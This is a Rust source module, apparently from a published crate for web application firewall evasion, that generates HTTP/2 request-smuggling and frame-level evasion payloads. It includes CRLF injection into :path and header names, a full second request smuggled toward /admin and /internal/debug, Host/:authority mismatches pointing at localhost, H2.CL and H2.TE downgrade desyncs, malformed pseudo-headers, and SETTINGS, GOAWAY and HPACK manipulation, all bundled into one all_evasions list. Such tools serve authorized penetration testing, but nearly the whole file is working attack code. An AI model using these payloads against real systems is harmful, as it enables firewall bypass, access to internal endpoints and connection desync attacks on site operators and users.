wafrift-smuggling 0.2.15

HTTP request smuggling and HTTP/2 frame-level evasion payloads.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
//! HTTP/2 frame-level evasion and downgrade techniques.

use crate::safety::{SafetyError, sanitize_input};

/// An HTTP/2 evasion technique descriptor.
#[derive(Debug, Clone)]
pub struct H2Evasion {
    pub name: &'static str,
    pub description: &'static str,
    pub pseudo_headers: Vec<(String, String)>,
    pub headers: Vec<(String, String)>,
    pub needs_continuation_split: bool,
    pub target_flaw: H2TargetFlaw,
    pub end_stream: Option<bool>,
    pub end_headers: Option<bool>,
}

#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum H2TargetFlaw {
    ProtocolDowngrade,
    PartialFrameInspection,
    LaxHeaderValidation,
    PseudoHeaderMismatch,
    PaddingConfusion,
    MethodOverride,
    HpackDesync,
    FlagGating,
    FlowControl,
    ConnectionState,
    StreamIdValidation,
}

/// Continuation frame split descriptor.
#[derive(Debug, Clone)]
pub struct ContinuationSplit {
    pub headers_frame: Vec<(String, String)>,
    pub continuation_frames: Vec<Vec<(String, String)>>,
    pub description: String,
}

/// Padding configuration.
#[derive(Debug, Clone)]
pub struct H2Padding {
    pub data_padding: u8,
    pub headers_padding: u8,
    pub inject_priority_frames: bool,
    pub description: String,
    pub malformed: bool,
}

/// HPACK table manipulation.
#[derive(Debug, Clone)]
pub struct HpackTableManipulation {
    pub table_size: u32,
    pub description: String,
}

/// SETTINGS frame bombardment.
#[derive(Debug, Clone)]
pub struct H2SettingsFrame {
    pub setting_id: u16,
    pub value: u32,
    pub description: String,
}

/// Stream ID manipulation.
#[derive(Debug, Clone)]
pub struct H2StreamId {
    pub id: u32,
    pub description: String,
}

/// Flag manipulation descriptor.
#[derive(Debug, Clone)]
pub struct H2Flags {
    pub end_stream: bool,
    pub end_headers: bool,
    pub description: String,
}

fn evasion(name: &'static str, desc: &'static str, flaw: H2TargetFlaw) -> H2Evasion {
    H2Evasion {
        name,
        description: desc,
        pseudo_headers: Vec::new(),
        headers: Vec::new(),
        needs_continuation_split: false,
        target_flaw: flaw,
        end_stream: None,
        end_headers: None,
    }
}

/// Inject CRLF in :path to smuggle headers during downgrade.
///
/// # Safety
/// Sends invalid HTTP/2 pseudo-headers containing raw CRLF sequences.
/// This may corrupt downstream parser state, desynchronize connection pools,
/// or cause request splitting. Only use on targets you own or have explicit
/// authorization to test.
pub fn crlf_in_pseudo_headers(
    path: &str,
    smuggled_header: &str,
    smuggled_value: &str,
) -> Result<H2Evasion, SafetyError> {
    let path = sanitize_input(path)?;
    let h = sanitize_input(smuggled_header)?;
    let v = sanitize_input(smuggled_value)?;
    Ok(H2Evasion {
        name: "H2 CRLF Pseudo-Header Injection",
        description: "Inject CRLF in :path to smuggle headers during downgrade",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), format!("{path}\r\n{h}: {v}")),
            (":scheme".into(), "https".into()),
        ],
        headers: Vec::new(),
        needs_continuation_split: false,
        target_flaw: H2TargetFlaw::ProtocolDowngrade,
        end_stream: None,
        end_headers: None,
    })
}

/// Smuggle a complete second request via CRLF in :path.
///
/// # Safety
/// Sends invalid HTTP/2 pseudo-headers containing raw CRLF sequences.
/// This may corrupt downstream parser state, desynchronize connection pools,
/// or cause request splitting. Only use on targets you own or have explicit
/// authorization to test.
pub fn crlf_request_smuggle(path: &str, smuggled_path: &str) -> Result<H2Evasion, SafetyError> {
    let path = sanitize_input(path)?;
    let smuggled = sanitize_input(smuggled_path)?;
    let req = format!("{path}\r\nHost: internal\r\n\r\nGET {smuggled} HTTP/1.1\r\nHost: internal");
    Ok(H2Evasion {
        name: "H2 CRLF Request Smuggling",
        description: "Smuggle a complete second request via CRLF in :path",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), req),
            (":scheme".into(), "https".into()),
        ],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    })
}

/// Build a regular-header CRLF injection probe.
///
/// **Deliberately unsanitised.** This function exists *to* produce
/// CRLF-injected payloads — it's the technique under test, not a bug.
/// Callers must only pass this through HTTP/2 codecs that tolerate
/// the injection (HPACK rejects it; raw frame writers do not). For
/// every other `H2Evasion` helper, header inputs ARE sanitised — see
/// the contract on `authority_host_mismatch`.
///
/// # Safety
/// Sends invalid HTTP/2 headers containing raw CRLF sequences.
/// This may corrupt downstream parser state, desynchronize connection pools,
/// or cause request splitting. Only use on targets you own or have explicit
/// authorization to test.
pub fn crlf_in_regular_header(header: &str, value: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 CRLF Regular Header",
        description: "Inject CRLF into a regular header value",
        headers: vec![(header.into(), format!("{value}\r\nX-Injected: 1"))],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    }
}

/// Inject CRLF into a header name.
///
/// # Safety
/// Sends invalid HTTP/2 headers containing raw CRLF sequences.
/// This may corrupt downstream parser state, desynchronize connection pools,
/// or cause request splitting. Only use on targets you own or have explicit
/// authorization to test.
pub fn crlf_in_header_name(name_prefix: &str, name_suffix: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 CRLF Header Name",
        description: "Inject CRLF into a header name",
        headers: vec![(format!("{name_prefix}\r\n{name_suffix}"), "value".into())],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    }
}

pub fn mixed_case_headers() -> Vec<H2Evasion> {
    [
        "Content-Type",
        "Transfer-Encoding",
        "Content-Length",
        "X-Forwarded-For",
    ]
    .iter()
    .map(|h| H2Evasion {
        name: "H2 Mixed-Case Header",
        description: "Uppercase header name to bypass lowercase rules",
        headers: vec![(h.to_string(), "value".into())],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    })
    .collect()
}

pub fn authority_host_mismatch(safe_host: &str, target_host: &str) -> H2Evasion {
    // Sanitise both host inputs — every other public function in this
    // module that takes user strings runs sanitize_input first, except
    // crlf_in_regular_header / crlf_in_pseudo_headers which deliberately
    // inject CRLF as the technique under test. Without this, a caller
    // passing `safe_host = "example.com\r\nX-Injected: 1"` would get a
    // CRLF-injected header pair through the `headers` Vec, bypassing
    // the same sanitisation used everywhere else.
    let safe_host = sanitize_input(safe_host).unwrap_or_default();
    let target_host = sanitize_input(target_host).unwrap_or_default();
    H2Evasion {
        name: "H2 Authority/Host Mismatch",
        description: "Set :authority to safe host but add Host header pointing to target",
        pseudo_headers: vec![(":authority".into(), safe_host)],
        headers: vec![("host".into(), target_host)],
        ..evasion("", "", H2TargetFlaw::PseudoHeaderMismatch)
    }
}

pub fn double_host(primary: &str, secondary: &str) -> H2Evasion {
    let primary = sanitize_input(primary).unwrap_or_default();
    let secondary = sanitize_input(secondary).unwrap_or_default();
    H2Evasion {
        name: "H2 Double Host",
        description: "Send :authority and Host header with different values",
        pseudo_headers: vec![(":authority".into(), primary)],
        headers: vec![("host".into(), secondary)],
        ..evasion("", "", H2TargetFlaw::PseudoHeaderMismatch)
    }
}

pub fn split_header_to_continuation(
    payload_header: &str,
    payload_value: &str,
) -> ContinuationSplit {
    ContinuationSplit {
        headers_frame: vec![
            (":method".into(), "GET".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "example.com".into()),
        ],
        continuation_frames: vec![vec![(payload_header.into(), payload_value.into())]],
        description: format!("Split '{payload_header}' into CONTINUATION"),
    }
}

pub fn split_path_across_frames(path: &str) -> ContinuationSplit {
    let mid = path
        .char_indices()
        .nth(path.chars().count() / 2)
        .map_or(path.len(), |(i, _)| i);
    let (first, second) = path.split_at(mid);
    ContinuationSplit {
        headers_frame: vec![
            (":method".into(), "GET".into()),
            (":path".into(), first.into()),
            (":scheme".into(), "https".into()),
        ],
        continuation_frames: vec![vec![(":path".into(), second.into())]],
        description: format!("Split :path '{path}' across frames"),
    }
}

pub fn split_pseudo_after_regular() -> ContinuationSplit {
    ContinuationSplit {
        headers_frame: vec![
            (":method".into(), "GET".into()),
            ("x-regular".into(), "value".into()),
        ],
        continuation_frames: vec![vec![
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "example.com".into()),
        ]],
        description: "Pseudo-headers in CONTINUATION after regular header".into(),
    }
}

pub fn padding_configurations() -> Vec<H2Padding> {
    vec![
        H2Padding {
            data_padding: 255,
            headers_padding: 0,
            inject_priority_frames: false,
            description: "Max DATA padding".into(),
            malformed: false,
        },
        H2Padding {
            data_padding: 0,
            headers_padding: 255,
            inject_priority_frames: false,
            description: "Max HEADERS padding".into(),
            malformed: false,
        },
        H2Padding {
            data_padding: 128,
            headers_padding: 128,
            inject_priority_frames: true,
            description: "Mixed padding + PRIORITY".into(),
            malformed: false,
        },
        H2Padding {
            data_padding: 1,
            headers_padding: 1,
            inject_priority_frames: true,
            description: "Minimal padding + PRIORITY".into(),
            malformed: false,
        },
        H2Padding {
            data_padding: 0,
            headers_padding: 0,
            inject_priority_frames: false,
            description: "Malformed padding length".into(),
            malformed: true,
        },
    ]
}

pub fn method_override(path: &str, host: &str, override_method: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Method Override",
        description: "Use :method=GET but override header for actual method",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        headers: vec![
            ("x-http-method-override".into(), override_method.into()),
            ("x-method-override".into(), override_method.into()),
        ],
        ..evasion("", "", H2TargetFlaw::MethodOverride)
    }
}

pub fn method_anomaly(path: &str, host: &str, method: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Method Anomaly",
        description: "Use anomalous :method value",
        pseudo_headers: vec![
            (":method".into(), method.into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::MethodOverride)
    }
}

pub fn scheme_confusion(path: &str, host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Scheme Confusion",
        description: "Send :scheme=http over TLS",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "http".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn exotic_scheme(path: &str, host: &str) -> Vec<H2Evasion> {
    vec!["ftp", "javascript", "file", "gopher"]
        .into_iter()
        .map(|s| H2Evasion {
            name: "H2 Exotic Scheme",
            description: "Non-standard :scheme",
            pseudo_headers: vec![
                (":method".into(), "GET".into()),
                (":path".into(), path.into()),
                (":scheme".into(), s.into()),
                (":authority".into(), host.into()),
            ],
            ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
        })
        .collect()
}

pub fn duplicate_pseudo_header(path: &str, host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Duplicate Pseudo-Header",
        description: "Duplicate :path",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), "/".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn duplicate_method(host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Duplicate :method",
        description: "Two :method pseudo-headers",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":method".into(), "POST".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn duplicate_scheme(host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Duplicate :scheme",
        description: "Two :scheme pseudo-headers",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":scheme".into(), "http".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn duplicate_authority(host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Duplicate :authority",
        description: "Two :authority pseudo-headers",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "safe.com".into()),
            (":authority".into(), host.into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn empty_authority(path: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Empty :authority",
        description: "Empty :authority pseudo-header",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "".into()),
        ],
        ..evasion("", "", H2TargetFlaw::PseudoHeaderMismatch)
    }
}

pub fn missing_authority(path: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 Missing :authority",
        description: "Omit :authority entirely",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
        ],
        ..evasion("", "", H2TargetFlaw::PseudoHeaderMismatch)
    }
}

/// Generate :path variants containing forbidden characters.
///
/// # Safety
/// Sends HTTP/2 pseudo-headers with characters forbidden by RFC 7540
/// (null, space, tab). This may corrupt downstream parser state or
/// cause request rejection. Only use on targets you own or have explicit
/// authorization to test.
pub fn invalid_path_chars() -> Vec<H2Evasion> {
    vec!["\x00", " ", "\t"]
        .into_iter()
        .map(|c| H2Evasion {
            name: "H2 Invalid :path",
            description: ":path contains forbidden character",
            pseudo_headers: vec![
                (":method".into(), "GET".into()),
                (":path".into(), format!("/admin{c}test")),
                (":scheme".into(), "https".into()),
                (":authority".into(), "example.com".into()),
            ],
            ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
        })
        .collect()
}

/// Inject :status into a request HEADERS frame.
///
/// # Safety
/// Sends HTTP/2 request frames containing a response-only pseudo-header.
/// This may corrupt downstream parser state. Only use on targets you own
/// or have explicit authorization to test.
pub fn status_in_request(path: &str) -> H2Evasion {
    H2Evasion {
        name: "H2 :status in Request",
        description: "Inject :status into request HEADERS",
        pseudo_headers: vec![
            (":method".into(), "GET".into()),
            (":path".into(), path.into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "example.com".into()),
            (":status".into(), "200".into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn pseudo_header_reordering(path: &str, host: &str) -> Vec<H2Evasion> {
    vec![
        vec![
            (":path".into(), path.into()),
            (":method".into(), "GET".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        vec![
            (":method".into(), "GET".into()),
            (":scheme".into(), "https".into()),
            (":path".into(), path.into()),
            (":authority".into(), host.into()),
        ],
    ]
    .into_iter()
    .map(|h| H2Evasion {
        name: "H2 Pseudo-Header Reordering",
        description: "Violate required pseudo-header order",
        pseudo_headers: h,
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    })
    .collect()
}

/// Place a regular header before pseudo-headers.
///
/// # Safety
/// Sends HTTP/2 HEADERS frames that violate RFC 7540 ordering rules.
/// This may corrupt downstream parser state. Only use on targets you own
/// or have explicit authorization to test.
pub fn regular_header_before_pseudo() -> H2Evasion {
    H2Evasion {
        name: "H2 Regular Before Pseudo",
        description: "Regular header appears before pseudo-headers",
        pseudo_headers: vec![
            ("x-regular".into(), "value".into()),
            (":method".into(), "GET".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), "example.com".into()),
        ],
        ..evasion("", "", H2TargetFlaw::LaxHeaderValidation)
    }
}

pub fn h2_cl(host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2.CL Downgrade",
        description: "Inject content-length into HTTP/2 headers for H2->H1 desync",
        pseudo_headers: vec![
            (":method".into(), "POST".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        headers: vec![("content-length".into(), "6".into())],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    }
}

pub fn h2_te(host: &str) -> H2Evasion {
    H2Evasion {
        name: "H2.TE Downgrade",
        description: "Inject transfer-encoding into HTTP/2 headers for H2->H1 desync",
        pseudo_headers: vec![
            (":method".into(), "POST".into()),
            (":path".into(), "/".into()),
            (":scheme".into(), "https".into()),
            (":authority".into(), host.into()),
        ],
        headers: vec![("transfer-encoding".into(), "chunked".into())],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    }
}

pub fn alpn_h2c() -> H2Evasion {
    H2Evasion {
        name: "ALPN h2c",
        description: "Exploit ALPN to force h2c downgrade",
        headers: vec![("alpn-protocol".into(), "h2c".into())],
        ..evasion("", "", H2TargetFlaw::ProtocolDowngrade)
    }
}

pub fn settings_bombardment() -> Vec<H2SettingsFrame> {
    vec![
        H2SettingsFrame {
            setting_id: 2,
            value: 0,
            description: "ENABLE_PUSH=0".into(),
        },
        H2SettingsFrame {
            setting_id: 3,
            value: 0,
            description: "MAX_CONCURRENT_STREAMS=0".into(),
        },
        H2SettingsFrame {
            setting_id: 4,
            value: 0,
            description: "INITIAL_WINDOW_SIZE=0".into(),
        },
        H2SettingsFrame {
            setting_id: 5,
            value: 16_777_215,
            description: "MAX_FRAME_SIZE=max".into(),
        },
        H2SettingsFrame {
            setting_id: 5,
            value: u32::MAX,
            description: "MAX_FRAME_SIZE=overflow".into(),
        },
    ]
}

pub fn window_update_desync() -> Vec<H2StreamId> {
    vec![
        H2StreamId {
            id: 0,
            description: "WINDOW_UPDATE stream 0 huge".into(),
        },
        H2StreamId {
            id: 1,
            description: "WINDOW_UPDATE stream 1 zero".into(),
        },
    ]
}

pub fn rst_stream_injection() -> Vec<H2StreamId> {
    vec![
        H2StreamId {
            id: 1,
            description: "RST_STREAM on active stream".into(),
        },
        H2StreamId {
            id: 3,
            description: "RST_STREAM on idle stream".into(),
        },
    ]
}

pub fn goaway_injection() -> Vec<H2StreamId> {
    vec![
        H2StreamId {
            id: u32::MAX,
            description: "GOAWAY last-stream-id max".into(),
        },
        H2StreamId {
            id: 0,
            description: "GOAWAY last-stream-id 0".into(),
        },
    ]
}

pub fn invalid_stream_ids() -> Vec<H2StreamId> {
    vec![
        H2StreamId {
            id: 0,
            description: "Stream ID 0 (reserved)".into(),
        },
        H2StreamId {
            id: 2,
            description: "Even stream ID (server push)".into(),
        },
    ]
}

pub fn flag_manipulations() -> Vec<H2Flags> {
    vec![
        H2Flags {
            end_stream: false,
            end_headers: true,
            description: "No END_STREAM on body request".into(),
        },
        H2Flags {
            end_stream: true,
            end_headers: false,
            description: "END_STREAM without END_HEADERS".into(),
        },
        H2Flags {
            end_stream: false,
            end_headers: false,
            description: "Neither flag set".into(),
        },
    ]
}

pub fn hpack_table_manipulations() -> Vec<HpackTableManipulation> {
    vec![
        HpackTableManipulation {
            table_size: 0,
            description: "Zero table size".into(),
        },
        HpackTableManipulation {
            table_size: 65535,
            description: "Maximum table size".into(),
        },
        HpackTableManipulation {
            table_size: 1,
            description: "Tiny table".into(),
        },
        HpackTableManipulation {
            table_size: 16384,
            description: "Non-standard table size".into(),
        },
        HpackTableManipulation {
            table_size: u32::MAX,
            description: "Extreme table size".into(),
        },
    ]
}

pub fn all_evasions(path: &str, host: &str) -> Result<Vec<H2Evasion>, SafetyError> {
    let mut evasions = vec![
        crlf_in_regular_header("user-agent", "Mozilla/5.0"),
        crlf_in_header_name("x", "foo: bar"),
        authority_host_mismatch(host, "localhost"),
        authority_host_mismatch(host, "127.0.0.1"),
        double_host(host, "internal.service"),
        method_override(path, host, "POST"),
        method_override(path, host, "PUT"),
        method_anomaly(path, host, "CONNECT"),
        method_anomaly(path, host, "PRI"),
        scheme_confusion(path, host),
        duplicate_pseudo_header(path, host),
        duplicate_method(host),
        duplicate_scheme(host),
        duplicate_authority(host),
        empty_authority(path),
        missing_authority(path),
        status_in_request(path),
        regular_header_before_pseudo(),
        h2_cl(host),
        h2_te(host),
        alpn_h2c(),
    ];
    evasions.push(crlf_in_pseudo_headers(
        path,
        "X-Forwarded-For",
        "127.0.0.1",
    )?);
    evasions.push(crlf_in_pseudo_headers(
        path,
        "Transfer-Encoding",
        "chunked",
    )?);
    evasions.push(crlf_request_smuggle(path, "/admin")?);
    evasions.push(crlf_request_smuggle(path, "/internal/debug")?);
    evasions.extend(mixed_case_headers());
    evasions.extend(exotic_scheme(path, host));
    evasions.extend(invalid_path_chars());
    evasions.extend(pseudo_header_reordering(path, host));
    Ok(evasions)
}

#[cfg(test)]
#[path = "h2_evasion_tests.rs"]
mod tests;